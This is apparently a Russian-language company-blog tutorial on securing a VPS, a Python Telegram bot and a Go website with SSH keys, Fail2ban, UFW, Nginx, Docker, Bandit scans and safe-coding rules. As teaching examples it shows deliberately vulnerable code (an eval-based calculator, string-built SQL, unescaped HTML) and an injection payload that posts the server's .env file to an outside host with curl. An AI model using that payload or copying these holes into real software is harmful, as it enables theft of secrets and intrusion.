VadimMichaylov4 минуты назад
Как безопасно настроить VPS-сервер и защитить сайт, бот и веб-приложение
Время на прочтение19 минОхват и читатели21Блог компании AmveraИнформационная безопасность*Серверное администрирование*Системное администрирование*Анализ и проектирование систем*ТуториалС необходимостью запуска кода на сервере сегодня сталкиваются далеко не только профессиональные айтишники. В наше время популярна разработка через ИИ (Claude, Gemini, ChatGPT и др.). Любой человек с идеей и доступом к моделям может быстро сгенерировать работающий код. Проблема в том, что люди зачастую слабо представляют, какие базовые уязвимости тащит за собой сгенерированный проект.
На стадии деплоя безопасность критична. Ниже мы разберём, как настраивать сервер и проверять код на наличие самых базовых уязвимостей на примере бота и сайта.
Безопасная настройка сервера
Первый вход на сервер и развёртывание бота
Для начала нам нужно войти на сервер. После покупки VPS провайдер пришлёт вам на почту (или покажет в личном кабинете) заветные данные для доступа. Обычно это три строчки:
• IP-адрес сервера (например, 192.168.1.50);
• имя пользователя (для Linux по умолчанию это почти всегда root);
• пароль (длинный набор случайных символов).Поскольку графического стола у сервера нет, мы будем подключаться через безопасный протокол SSH (Secure Shell).
Шаг 1. Открываем терминал. Если у вас Windows 10/11: нажмите Win + R, введите cmd и нажмите Enter. Откроется стандартная командная строка. Никаких сторонних программ вроде PuTTY скачивать больше не нужно. Если у вас macOS: нажмите Cmd + Пробел, введите слово «Терминал» (Terminal) в поиске Spotlight и нажмите Enter. Если у вас Linux: откройте терминал привычным для себя способом.
Шаг 2. Вводим команду подключения. В терминале введите следующую команду, подставив IP-адрес своего сервера, и нажмите Enter:
ssh root@ваш_IP_адресШаг 3. Проходим проверку безопасности. При самом первом подключении терминал выдаст предупреждение: The authenticity of host... can't be established. Are you sure you want to continue connecting? Не пугайтесь, сервер просто сообщает, что ваш компьютер видит его впервые. Наберите слово yes и нажмите Enter.
Шаг 4. Вводим пароль. Теперь сервер попросит пароль:
root@ваш_IP_адрес's password:Важнейший момент для новичков: когда вы будете вводить или вставлять (через Ctrl+V или правый клик мыши) пароль, в терминале ничего не изменится. Не появятся ни звёздочки, ни точки, курсор останется на месте. Это базовая безопасность Linux, чтобы никто не подсмотрел длину вашего пароля. Просто вставьте его один раз и нажмите Enter.
Если всё сделано правильно, перед вами появится приветственный текст от Ubuntu и приглашение к вводу, оканчивающееся на значок #. Теперь вы внутри своего собственного сервера!
Подготовка сервера к безопасному деплою
Символ # в конце строки ввода означает, что вы находитесь в системе под пользователем root (суперпользователь). У вас есть абсолютные права на любые изменения, поэтому действовать нужно аккуратно. Перед тем как загружать код вашего проекта, сервер необходимо обновить и настроить.
Шаг 1. Обновление пакетного менеджера. В Windows программы скачивают через браузер, а на смартфонах — через App Store или Google Play. В Linux за это отвечает встроенный пакетный менеджер. В Ubuntu он называется APT (Advanced Package Tool). APT — это консольный менеджер пакетов. Пакет в Linux — это аналог установочного файла .exe или .msi. Пакетный менеджер сам знает, откуда безопасно скачать нужную программу, как её установить и какие дополнительные библиотеки для этого потребуются.
В любой непонятной ситуации на новом сервере первым делом обновляйте списки доступных пакетов и сами программы. Это закроет старые уязвимости и предотвратит ошибки несовместимости при установке библиотек. Выполните команду:
apt update && apt upgrade -y• apt update — скачает свежие списки программ из репозиториев Ubuntu.
• apt upgrade — обновит установленные в системе утилиты до актуальных версий. Флаг -y автоматически ответит «да» на все вопросы системы в процессе обновления.
Защита VPS сервера: вход по ключам и отключение root
Оставлять вход по обычному паролю опасно: хакерские боты непрерывно сканируют сеть и пытаются подобрать пароли к root-пользователям. Защитим сервер по стандарту: настроим вход по SSH-ключам, создадим обычного пользователя, а удалённый доступ для root заблокируем. Все действия по генерации делаются на вашем домашнем компьютере (выйдите из сервера командой exit или откройте новое окно терминала на ПК).
Шаг 1. Генерируем пару ключей на домашнем ПК. В терминале своего компьютера введите:
ssh-keygen -t ed25519Утилита задаст два вопроса: куда сохранить ключ и нужно ли установить кодовую фразу. На оба вопроса просто нажимайте Enter. В папке .ssh вашего компьютера создадутся два файла: id_ed25519 (приватный ключ, ваш секрет) и id_ed25519.pub (публичный ключ, замок).
Шаг 2. Отправляем публичный ключ на сервер. Для macOS и Linux выполните одну команду:
ssh-copy-id root@ваш_IP_адресДальше надо просто ввести пароль от VPS, который вам дал провайдер.
Для Windows (вручную): выведите ключ на экран type %USERPROFILE%\.ssh\id_ed25519.pub и скопируйте строку. Зайдите на сервер по паролю, откройте файл ключей nano ~/.ssh/authorized_keys. Вставьте строку, нажмите Ctrl+O, Enter (сохранить) и Ctrl+X (выход). Убедитесь, что теперь при команде ssh root@ваш_IP_адрес вас пускает на сервер мгновенно без ввода пароля.
Дальше нужно сделать вход не от root. Выполните следующие команды на вашем VPS, подключившись к нему пока ещё под учётной записью root.
Создайте нового пользователя (замените username на любое желаемое имя):
adduser usernameСистема попросит вас дважды ввести пароль для нового аккаунта.
Добавьте пользователя в группу администраторов — это позволит ему выполнять команды от имени суперпользователя через sudo:
usermod -aG sudo usernameСкопируйте ваш SSH-ключ новому пользователю, чтобы не потерять доступ по ключу:
rsync --archive --chown=username:username ~/.ssh /home/usernameПроверьте подключение: откройте новое окно терминала на вашем компьютере и попробуйте войти. Не закрывайте текущую сессию root, пока не убедитесь, что новый вход работает.
ssh username@IP_адрес_вашего_сервераОтключите вход для root (опционально): если вход прошёл успешно, откройте файл /etc/ssh/sshd_config и установите запрет на прямое подключение root-пользователя, введя PermitRootLogin no. После этого перезапустите службу SSH: sudo systemctl restart ssh.
Защита от брутфорса с помощью Fail2ban
Даже если вход по паролю отключён, боты будут постоянно сканировать ваш SSH-порт. Это тратит ресурсы сервера и забивает логи. Утилита Fail2ban решает эту проблему: она анализирует логи в реальном времени и временно блокирует IP-адреса, которые ведут себя подозрительно.
Шаг 1. Установка утилиты. Установите Fail2ban из стандартного репозитория Ubuntu (команда выполняется под вашим новым пользователем с использованием sudo):
sudo apt install -y fail2banШаг 2. Настройка конфигурации (создание jail.local). По умолчанию Fail2ban хранит настройки в файле /etc/fail2ban/jail.conf. Трогать его напрямую нельзя, так как при первом же обновлении программы все ваши изменения затрутся. Правильный подход в Linux — создать копию конфигурации с расширением .local:
sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.localТеперь откройте созданный файл в текстовом редакторе:
sudo nano /etc/fail2ban/jail.localШаг 3. Задаём правила блокировки. Пролистайте файл вниз до секции [DEFAULT]. Нам нужно найти и настроить три главных параметра, которые управляют логикой банов (если перед строкой стоит знак #, удалите его):
bantime = 10m
findtime = 10m
maxretry = 5Давайте разберём, что значат эти цифры и как их лучше изменить новичку:
• maxretry — количество разрешённых неудачных попыток авторизации подряд. Для безопасности стоит поставить в районе 3–5.
• findtime — окно времени, в течение которого считаются эти неудачные попытки. Оставляем 10m (10 минут).
• bantime — время, на которое бот отправляется в чёрный список. 10 минут (10m) маловато — боты вернутся снова. Лучше выставить 1d (1 день) или 1w (1 неделя), чтобы отвадить взломщиков надолго.Шаг 4. Включаем защиту SSH. Найдите в файле секцию [sshd]. Убедитесь, что она выглядит следующим образом (если строки enabled = true нет, обязательно допишите её вручную сразу под заголовком):
[sshd]
enabled = true
port = ssh
logpath = %(sshd_log)s
backend = %(sshd_backend)sСохраните изменения (нажмите Ctrl + O, затем Enter) и выйдите из редактора (нажмите Ctrl + X).
Шаг 5. Запуск и проверка службы. Перезапустите Fail2ban, чтобы он применил новые правила, и добавьте его в автозапуск системы:
sudo systemctl restart fail2ban
sudo systemctl enable fail2banЧтобы убедиться, что защита от брутфорса работает, проверьте статус утилиты:
sudo fail2ban-client statusВ выводе вы увидите список активных защитных зон (Jails). Там должно быть написано: Number of jail: 1 и Jail list: sshd.
Шпаргалка: полезные команды для работы с Fail2ban. Посмотреть, сколько ботов уже забанено прямо сейчас:
sudo fail2ban-client status sshdВы удивитесь, но уже через пару часов в строке Banned IP list появятся первые десятки заблокированных адресов со всего мира. Как разбанить самого себя (если вы случайно трижды ошиблись паролем): если вы настраивали сервер с телефона или другого ПК и попали под горячую руку файрвола, зайдите со своего основного компьютера и введите:
sudo fail2ban-client set sshd unbanip ВАШ_ДОМАШНИЙ_IP
Проверка кода на уязвимости (SAST) перед запуском
В современном вебе используется огромное количество языков программирования. Настроить сервер под каждый из них в рамках одной статьи невозможно, поэтому мы рассмотрим два полярных примера, которые покроют 90% задач новичка:
• Telegram-бот на Python — пример классического скриптового (интерпретируемого) языка, который работает в фоне.
• Полноценный веб-сайт — бэкенд напишем на компилируемом Go (Golang), базу данных сделаем на SQLite, а фронтенд развернём на чистом JavaScript (Pure JS) без тяжёлых фреймворков.Но перед тем как отправлять файлы на сервер, код необходимо проверить на уязвимости, скрытые баги и забытые пароли. Этот этап называется статическим анализом (SAST). Давайте разберём, как проверить каждую часть нашего будущего стека.
Пример: Telegram-бот на Python
from telegram import Update
from telegram.ext import ApplicationBuilder, CommandHandler, MessageHandler, filters, ContextTypes
BOT_TOKEN = "123456789:AAH-example-fake-token-do-not-use"
async def start(update: Update, context: ContextTypes.DEFAULT_TYPE):
await update.message.reply_text("Привет! Пришли мне арифметическое выражение.")
async def calc(update: Update, context: ContextTypes.DEFAULT_TYPE):
user_input = update.message.text
# Уязвимость №2: считаем выражение через eval()
result = eval(user_input) # вот тут и ошибка
await update.message.reply_text(f"Ответ: {result}")
if __name__ == "__main__":
app = ApplicationBuilder().token(BOT_TOKEN).build()
app.add_handler(CommandHandler("start", start))
app.add_handler(MessageHandler(filters.TEXT & ~filters.COMMAND, calc))
app.run_polling()Бот работает. Пишете ему 2+2*10 — отвечает 22. Красота, можно показывать друзьям. Только под капотом два жирных бага:
Уязвимость №1: Hardcoded credentials (зашитый токен). Токен бота — это пароль. С ним кто угодно может: читать всю переписку с вашим ботом, отвечать пользователям от его имени (привет, фишинг), забанить вас как владельца. Главная беда — вы, скорее всего, зальёте код на GitHub. Даже если репозиторий «приватный», его можно случайно сделать публичным, или вы случайно закоммитите токен раньше, чем сделаете репозиторий приватным. Сканеры утечек прочёсывают новые коммиты на GitHub за минуты. Токен утечёт раньше, чем вы допьёте кофе.
Уязвимость №2: eval() = RCE. Функция eval() берёт строку и выполняет её как Python-код. Вы ждёте 2+2. А злоумышленник пришлёт боту:
__import__('os').system('curl -X POST -d @.env http://notyourapp.com')И ваш сервер скачает и запустит чужой скрипт. От имени того пользователя, под которым работает бот. Это и есть RCE — Remote Code Execution (удалённое выполнение кода). Что хакер сделает дальше: сольёт вашу БД, украдёт переменные окружения (а там, скорее всего, ещё и другие токены), поставит майнер, использует ваш сервер как прокси для атак на чужие сайты, сотрёт всё подчистую. Один eval() — и сервер больше не ваш.
Шаг 2. Запуск проверки (Bandit). Bandit — это статический анализатор для Python. Он не запускает код, а просто читает его и ищет паттерны опасных конструкций: eval, exec, pickle.loads, захардкоженные пароли, использование md5 для паролей и так далее.
Структура проекта:
sat/
├── main.py
└── venv/ виртуальное окружение, его сканировать не надоУстановка и запуск:
# создаём виртуальное окружение
python3 -m venv venv
source venv/bin/activate
# ставим зависимости проекта и сам Bandit
pip install "python-telegram-bot=22.7"
pip install bandit
# сканируем — ВАЖНО исключить venv, иначе попадут чужие библиотеки
bandit -r . -x ./venvГрабли, на которые легко наступить. Если запустить просто bandit -r ., Bandit полезет внутрь venv/ и найдёт сотни «проблем» в коде сторонних библиотек (rich, httpx и т.д.). Это не ваш код, чинить его не нужно. Всегда исключайте venv/ флагом -x.Что выведет терминал (реальный вывод на нашем коде):
[main] INFO running on Python 3.14.5
Run started:2026-05-15 20:32:50.768440+00:00
Test results:
>> Issue: [B105:hardcoded_password_string] Possible hardcoded password: '123456789:AAH-example-fake-token-do-not-use'
Severity: Low Confidence: Medium
CWE: CWE-259 (https://cwe.mitre.org/data/definitions/259.html)
Location: ./main.py:4:12
4 BOT_TOKEN = "123456789:AAH-example-fake-token-do-not-use"
--------------------------------------------------
>> Issue: [B307:blacklist] Use of possibly insecure function - consider using safer ast.literal_eval.
Severity: Medium Confidence: High
CWE: CWE-78 (https://cwe.mitre.org/data/definitions/78.html)
Location: ./main.py:13:13
12 user_input = update.message.text
13 result = eval(user_input)
14 await update.message.reply_text(f"Ответ: {result}")
--------------------------------------------------
Code scanned:
Total lines of code: 14
Run metrics:
Total issues (by severity):
Low: 1
Medium: 1
High: 0Bandit чётко указал:
• B105 означает, что на 4-й строке программы написан реальный пароль или секретный ключ. Это опасно. Если чужой человек увидит код, он может украсть этот секрет.
• B307 — опасный eval() на 13-й строке (и даже подсказал замену — ast.literal_eval).Шаг 3. Как НАДО делать. Чиним обе проблемы:
# main.py — исправленная версия
import os
import ast
import operator
import logging
from telegram import Update
from telegram.ext import (
ApplicationBuilder,
CommandHandler,
MessageHandler,
filters,
ContextTypes,
)
logging.basicConfig(
level=logging.INFO,
format="%(asctime)s %(levelname)s %(message)s",
)
log = logging.getLogger(__name__)
# Токен — из переменной окружения. В коде его нет.
BOT_TOKEN = os.environ.get("BOT_TOKEN")
if not BOT_TOKEN:
raise RuntimeError("Переменная окружения BOT_TOKEN не задана")
# Разрешённые операции — белый список
_ALLOWED_OPS = {
ast.Add: operator.add,
ast.Sub: operator.sub,
ast.Mult: operator.mul,
ast.Div: operator.truediv,
ast.Mod: operator.mod,
ast.Pow: operator.pow,
ast.USub: operator.neg,
ast.UAdd: operator.pos,
}
def safe_eval(expr: str) -> float:
"""Безопасный калькулятор: парсим AST и считаем сами."""
tree = ast.parse(expr, mode="eval")
def _eval(node):
if isinstance(node, ast.Expression):
return _eval(node.body)
if isinstance(node, ast.Constant) and isinstance(node.value, (int, float)):
return node.value
if isinstance(node, ast.BinOp) and type(node.op) in _ALLOWED_OPS:
return _ALLOWED_OPS[type(node.op)](_eval(node.left), _eval(node.right))
if isinstance(node, ast.UnaryOp) and type(node.op) in _ALLOWED_OPS:
return _ALLOWED_OPS[type(node.op)](_eval(node.operand))
raise ValueError("Запрещённая конструкция в выражении")
return _eval(tree)
async def start(update: Update, context: ContextTypes.DEFAULT_TYPE):
await update.message.reply_text("Привет! Пришли мне арифметическое выражение.")
async def calc(update: Update, context: ContextTypes.DEFAULT_TYPE):
text = update.message.text or ""
# Ограничиваем длину, чтобы никто не положил нас выражением 9**9**9**9
if len(text) > 100:
await update.message.reply_text("Слишком длинное выражение.")
return
try:
result = safe_eval(text)
except (ValueError, SyntaxError, ZeroDivisionError) as e:
await update.message.reply_text(f"Не могу посчитать: {e}")
return
await update.message.reply_text(f"Ответ: {result}")
if __name__ == "__main__":
app = ApplicationBuilder().token(BOT_TOKEN).build()
app.add_handler(CommandHandler("start", start))
app.add_handler(MessageHandler(filters.TEXT & ~filters.COMMAND, calc))
log.info("Бот стартовал")
app.run_polling()Что мы сделали и почему это сработало:
• Токен — в переменной окружения. Он больше не лежит в коде. На сервере токен будет читаться из защищённого файла, который видит только root. В исходниках — пусто.
• eval() заменён на собственный мини-интерпретатор. Мы парсим выражение в AST (абстрактное синтаксическое дерево) и обходим узлы сами. Разрешены только числа и базовые операции. Если хакер пришлёт import(‘os’).system(…), парсер увидит узел Call (вызов функции) — а его в белом списке нет → ValueError. Это и называется whitelist-подход: «разрешено только то, что в списке, всё остальное — запрещено».
• Ограничение длины ввода. Защита от выражений вроде 999**9 — они валидны как арифметика, но считаются вечность и съедают всю память.Запускаем Bandit ещё раз:
bandit -r . -x ./venvПолучаем:
Test results: No issues identified.Всё чисто.
Шаг 4. Деплой на VPS как systemd-сервис
Код проверен и чист. Считаем, что у вас уже есть VPS, вы подключены к нему по SSH под своим пользователем (не root) и сервер защищён Fail2ban. Осталось доставить файлы и запустить бота так, чтобы он работал круглосуточно и сам перезапускался после перезагрузки сервера.
Шаг 1. Копируем файлы на сервер (scp). Утилита scp (secure copy) копирует файлы по тому же защищённому каналу, что и SSH. Команды выполняются на вашем домашнем компьютере:
# один файл
scp main.py username@IP_адрес:~
# папка целиком (флаг -r)
scp -r ./мой_проект username@IP_адрес:~
# если SSH работает на нестандартном порту (например, 2222) — флаг -P
scp -P 2222 main.py username@IP_адрес:~
# если используете конкретный ключ — флаг -i
scp -i ~/.ssh/id_ed25519 main.py username@IP_адрес:~Не заливайте папку venv/ на сервер. Она собрана под вашу операционную систему и на сервере просто не заработает. Вместо этого переносите файл requirements.txt и собирайте окружение заново уже на сервере.Создайте файл requirements.txt рядом с main.py со списком зависимостей:
python-telegram-bot=22.7Проект перед отправкой выглядит так:
мой_проект/
├── main.py
└── requirements.txtОтправьте файлы в домашнюю директорию на сервере:
scp main.py requirements.txt username@IP_адрес:~Шаг 2. Подготавливаем окружение на сервере. Подключитесь к серверу:
ssh username@IP_адресСоздадим отдельного системного пользователя без прав входа и собственную папку для бота, а затем перенесём туда файлы:
sudo adduser --system --group --home /opt/tgbot tgbot
sudo mkdir -p /opt/tgbot
sudo mv ~/main.py ~/requirements.txt /opt/tgbot/
sudo chown -R $USER:$USER /opt/tgbot
cd /opt/tgbotПочему отдельный пользователь: флаг --system создаёт служебный аккаунт без пароля и без возможности войти по SSH. Если бота взломают, атакующий получит права этого ограниченного пользователя, а не вашего аккаунта с sudo.
Собираем окружение и ставим зависимости прямо на сервере:
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
deactivate
# отдаём все файлы служебному пользователю
sudo chown -R tgbot:tgbot /opt/tgbotШаг 3. Прячем токен в отдельный файл. Токен мы вынесли из кода — теперь надо где-то его хранить на сервере. Положим его в отдельный файл, который сможет читать только root:
sudo nano /etc/tgbot.envВнутри напишите одну строку:
BOT_TOKEN=сюда_вставьте_токен_бота_от_BotFatherОграничим права на файл, чтобы его мог читать только владелец (root):
sudo chmod 600 /etc/tgbot.env
sudo chown root:root /etc/tgbot.envШаг 4. Создаём systemd-сервис. systemd — это «дирижёр» всех фоновых процессов в Linux. Он сам запустит бота при старте сервера, перезапустит при падении и будет писать логи. Создайте файл описания службы:
sudo nano /etc/systemd/system/tgbot.serviceСодержимое файла:
[Unit] Description=Telegram Bot After=network.target
[Service]
Type=simple
User=tgbot
Group=tgbot
WorkingDirectory=/opt/tgbot
EnvironmentFile=/etc/tgbot.env
ExecStart=/opt/tgbot/venv/bin/python /opt/tgbot/main.py
Restart=on-failure
RestartSec=5
# Усиление безопасности NoNewPrivileges=true PrivateTmp=true ProtectSystem=full ProtectHome=true
[Install] WantedBy=multi-user.targetНастройки усиления безопасности означают:
• NoNewPrivileges=true — процесс никогда не сможет получить больше прав, чем у него есть (даже через sudo или SUID-бинарники).
• PrivateTmp=true — у службы своя изолированная папка /tmp, чужие процессы её не видят.
• ProtectSystem=full — системные папки (/usr, /boot, /etc) доступны только для чтения.
• ProtectHome=true — бот не видит домашние папки пользователей.Шаг 5. Запускаем. Перезагружаем systemd, включаем автозапуск и сразу стартуем бота:
sudo systemctl daemon-reload
sudo systemctl enable --now tgbot
# проверяем статус
sudo systemctl status tgbot
# смотрим живые логи
sudo journalctl -u tgbot -fС ботом всё, теперь переходим к сайту.
Безопасное развёртывание и настройка защиты сайта
Бот — это один файл и один процесс. С сайтом всё сложнее: есть веб-сервер, база данных, статика, зависимости разных версий. Чтобы всё это не превратилось в хаос «у меня на компе работало, а на сервере нет», используют Docker. В Docker приложение и все его зависимости упакованы в отдельную коробку (контейнер). Оно не конфликтует с другими программами на сервере. Образ собирается один раз и работает одинаково везде: на вашем ноутбуке, на сервере коллеги, в облаке.
От простой безопасности к защите сайта от ботов
Когда хочется не просто бота, а полноценный сайт с доменом и HTTPS, защита строится слоями. Каждый слой решает свою задачу:
Интернет
↓
DNS и домен ← Слой 0: куда ведёт имя сайта
↓
UFW + облачный файрвол ← Слой 1: какие порты открыты
↓
Nginx + HTTPS ← Слой 2: шифрование и прокси
↓
Docker (изоляция) ← Слой 3: приложение в коробке
↓
Безопасный код ← Слой 4: само приложение
Слой 0. Домен и DNS
DNS — это телефонная книга интернета. Люди помнят имена, а компьютеры общаются по IP-адресам (например, 192.0.2.10). DNS переводит одно в другое. Чтобы ваш домен указывал на сервер, нужно в панели регистратора домена добавить DNS-записи:
ТипИмя (Host)ЗначениеTTLA@IP_вашего_VPS300AwwwIP_вашего_VPS300Запись типа A связывает имя с IPv4-адресом. Имя @ означает сам домен (example.com), а www — поддомен (www.example.com). TTL — это время кэширования записи в секундах; на время настройки удобно выставить небольшое значение (300), чтобы изменения применялись быстрее.
Проверить, куда ведёт домен, можно с домашнего компьютера:
dig +short example.com # должен вывести ваш IP nslookup example.com 8.8.8.8
Слой 1. Файрвол - защита сети и сервера
Файрвол — это охранник на входе, который решает, какие порты открыты для мира. В Ubuntu удобно использовать UFW (Uncomplicated Firewall):
# Сначала ОБЯЗАТЕЛЬНО откройте SSH, иначе сами себя заблокируете
sudo ufw allow OpenSSH
# Веб-порты
sudo ufw allow 80/tcp
sudo ufw allow 443/tcp
# Запрещаем всё остальное
sudo ufw default deny incoming
sudo ufw default allow outgoing
sudo ufw enable
sudo ufw status verboseЕсли у вашего провайдера есть ещё и облачный файрвол (в панели управления), настройте и его по тем же правилам — получится двойная защита.
Слой 2. Nginx и HTTPS
Nginx — это веб-сервер, который стоит перед вашим приложением и берёт на себя несколько ролей:
• Принимает все запросы из интернета и перенаправляет их вашему приложению (reverse proxy).
• Шифрует трафик по HTTPS, чтобы данные пользователей нельзя было перехватить.
• Ограничивает частоту запросов (rate limit) и прячет технические детали от атакующих.Конфигурация Nginx (положите её в /etc/nginx/sites-available/example.com):
# Rate-limit: 10 запросов/сек с одного IP, burst 20
limit_req_zone $binary_remote_addr zone=mylimit:10m rate=10r/s;
# HTTP → редирект на HTTPS
server {
listen 80;
listen [::]:80;
server_name example.com;
location / {
return 301 https://$host$request\\_uri;
}
}
# HTTPS — основной сервер
server {
listen 443 ssl;
listen [::]:443 ssl;
http2 on;
server_name example.com;
# Сертификаты пропишет certbot автоматически
# Современные TLS-настройки
ssl_protocols TLSv1.2 TLSv1.3;
ssl_prefer_server_ciphers off;
ssl_session_cache shared:SSL:10m;
ssl_session_timeout 1d;
# Лимиты
client_max_body_size 1m;
client_body_timeout 10s;
client_header_timeout 10s;
# Скрываем версию Nginx (меньше информации для атакующего)
server_tokens off;
# Security-заголовки
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "DENY" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
location / {
limit_req zone=mylimit burst=20 nodelay;
proxy_pass http://127.0.0.1:8080;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_read_timeout 30s;
proxy_send_timeout 30s;
}
# Запрещаем доступ к скрытым файлам (.git, .env)
location ~ /\. {
deny all;
return 404;
}
}Разберём ключевые строки:
СтрокаЗачем она нужнаreturn 301 https://…весь HTTP-трафик принудительно перенаправляется на шифрованный HTTPSlimit_req_zone / limit_reqзащита от наплыва запросов и простейших DDoSproxy_pass http://127.0.0.1:8080перенаправляет запросы вашему приложению на локальном портуStrict-Transport-Securityбраузер запоминает, что сайт только по HTTPSlocation ~ /.закрывает доступ к .git, .env и другим скрытым файламАктивируем конфиг и проверяем синтаксис:
sudo ln -sf /etc/nginx/sites-available/example.com /etc/nginx/sites-enabled/
sudo rm -f /etc/nginx/sites-enabled/default
sudo nginx -t
sudo systemctl reload nginxВыпускаем бесплатный SSL-сертификат от Let’s Encrypt через certbot — он сам пропишет пути к сертификатам в конфиг Nginx:
sudo apt install -y certbot python3-certbot-nginx
sudo certbot --nginx -d example.com -d www.example.comТипичные ошибки с Nginx:
• Забыли выполнить nginx -t перед перезагрузкой и выкатите сломанный конфиг, сайт ляжет.
• Не убрали стандартный конфиг default. Он перехватывает запросы.
• Не открыли порты 80 и 443 в файрволе. Certbot не сможет подтвердить домен.
Слой 3. Docker
Контейнер нужен, чтобы приложение работало в изоляции и, даже если его взломают, атакующий остался внутри коробки, а не получил весь сервер. Разберём Dockerfile для Go-приложения:
# Стадия 1: сборка
FROM golang:1.26-alpine AS builder
WORKDIR /src
COPY go.mod go.sum* ./
RUN go mod download
COPY . .
# CGO_ENABLED=0 — статичный бинарный файл без зависимостей от libc
# -trimpath — убирает локальные пути из бинарного файла (защита от утечки структуры проекта)
# -ldflags="-s -w" — убирает отладочную информацию, бинарный файл меньше
RUN CGO_ENABLED=0 GOOS=linux go build \
-trimpath \
-ldflags="-s -w" \
-o /out/app ./...
# Стадия 2: рантайм
# distroless — нет shell, нет coreutils, нет apt
# Даже если случится RCE, атакующему буквально нечего запустить
FROM gcr.io/distroless/static-debian12:nonroot
WORKDIR /app
COPY --from=builder /out/app /app/app
# UID встроенного пользователя nonroot = 65532
USER nonroot:nonroot
EXPOSE 8080
ENTRYPOINT ["/app/app"]Разберём строки:
СтрокаЧто делаетДве стадии (builder и рантайм)в итоговый образ попадает только готовый бинарник, без исходников и компилятораCGO_ENABLED=0статичный бинарник, который работает без системных библиотекdistrolessобраз без shell и утилит — атакующему нечего запускать внутриUSER nonrootприложение работает не от rootЗапускаем контейнер с ограничениями:
docker run -d \
--name myapp \
--restart unless-stopped \
-p 127.0.0.1:8080:8080 \
-v /opt/myapp/data:/app/data \
--read-only \
--tmpfs /tmp \
--cap-drop=ALL \
--security-opt=no-new-privileges \
--memory=256m \
--cpus=0.5 \
myapp:latestРазберём флаги:
ФлагЗачем-p 127.0.0.1:8080:8080порт виден только локально (через Nginx), а не всему интернету–read-onlyфайловая система контейнера только для чтения–cap-drop=ALLснимаем все привилегии ядра–memory / --cpusлимиты ресурсов, чтобы один контейнер не съел весь серверТипичная ошибка с Docker это запуск контейнер от root и без ограничений. Следовательно взлом приложения равен взлому сервера. Еще можно опубликовать на порту 0.0.0.0 вместо 127.0.0.1, и где торчит в интернет в обход Nginx. Есть и менее критичные ситуации, как использование тега latest с потерей контроля над версиями. Версию образа лучше зафиксировать.
Слой 4. Безопасный код на Go
Все предыдущие слои не помогут, если само приложение написано небрежно. Разберём шесть правил, которые закрывают большинство типовых дыр.
Правило №1. SQL-инъекции — всегда используйте плейсхолдеры. Никогда не склеивайте SQL-запрос со строкой, пришедшей от пользователя.
Плохо (уязвимо):
query := r.URL.Query().Get("q")
sqlQuery := fmt.Sprintf("SELECT * FROM users WHERE name LIKE '%%%s%%'", query)
rows, _ := db.Query(sqlQuery)Хорошо (безопасно):
rows, err := db.QueryContext(ctx,
"SELECT id, name, email FROM users WHERE name LIKE ? LIMIT 50",
"%"+query+"%")Представьте, что вы пишете бланк с пустым полем (плейсхолдер ?). База сначала видит структуру запроса, а потом аккуратно вставляет ваше значение именно как данные, а не как часть команды. Чтобы ни ввёл пользователь, это останется просто текстом для поиска.
Правило №2. XSS - экранируйте вывод. Если вы показываете на странице текст, который ввёл пользователь, нельзя просто вставлять его в HTML. Иначе кто-то пришлёт <script> и выполнит свой код в браузерах других посетителей.
Опасный подход - ручная склейка HTML со строкой, на любом языке:
• Go: fmt.Fprintf(w, "<div>%s</div>", userInput)
• JS: el.innerHTML = userInput
• Python: f"<div>{user_input}</div>"
• PHP: echo "<div>$userInput</div>"Безопасный подход - использовать шаблонизатор, который сам экранирует опасные символы. В Go это пакет html/template:
const tpl = `<div> <b>{{.Author}}</b>: {{.Text}} </div>`
t := template.Must(template.New("fb").Parse(tpl))
t.Execute(w, feedback)Не используйте для HTML пакет text/template. Он не экранирует вывод и не защищает от XSS. Только html/template.
Правило №3. Security-заголовки. Добавляйте заголовки (X-Content-Type-Options, X-Frame-Options и др.) на уровне Nginx или самого приложения. Они подсказывают браузеру, как себя вести, и закрывают целый класс атак.
Правило №4. Таймауты. Всегда выставляйте таймауты на чтение и запись у веб-сервера. Без них одно медленное соединение может висеть вечно и исчерпать ресурсы сервера.
Правило №5. Не показывайте ошибки пользователю. Полный текст ошибки (со стеком и путями) пишите только в лог. Пользователю показывайте нейтральное «Что-то пошло не так». Иначе вы сами подскажете атакующему версии библиотек и структуру проекта.
Правило №6. Ограничивайте размер входящих данных. Задавайте лимит на размер тела запроса (и на Nginx, и в приложении). Иначе кто-то загрузит файл на несколько гигабайт и забьёт диск или память.
Фокусируйтесь на коде, а рутину по защите отдайте автоматике
Мы прошли путь от первых команд в терминале до полноценного защищённого сайта и телеграм-бота.
Для автоматизации этих процессов можно использовать CI/CD-пайплайны, настроить собственный VPS. Главное, выстроить процесс так, чтобы вы могли сосредоточиться на логике приложения. Пишите безопасный код, делайте git push и пусть автоматика работает на вас!Теги:• безопасность веб-приложений
• защита сайта
• защита от ботов
• защита от брутфорса
• проверка безопасности сайта
• проверка безопасности сервера
• защита бота
• проверка сайта на безопасность
• проверка сайта на уязвимости
• программная защита сервераХабы:• Блог компании Amvera
• Информационная безопасность
• Серверное администрирование
• Системное администрирование
• Анализ и проектирование систем
Получайте больше инсайтов о систематизации бизнеса
Подписывайтесь на Telegram-канал Business Operations — ежедневные материалы о бизнес-процессах, операционном управлении и повышении эффективности
💬 Подписаться на канал→ Оригинальная статья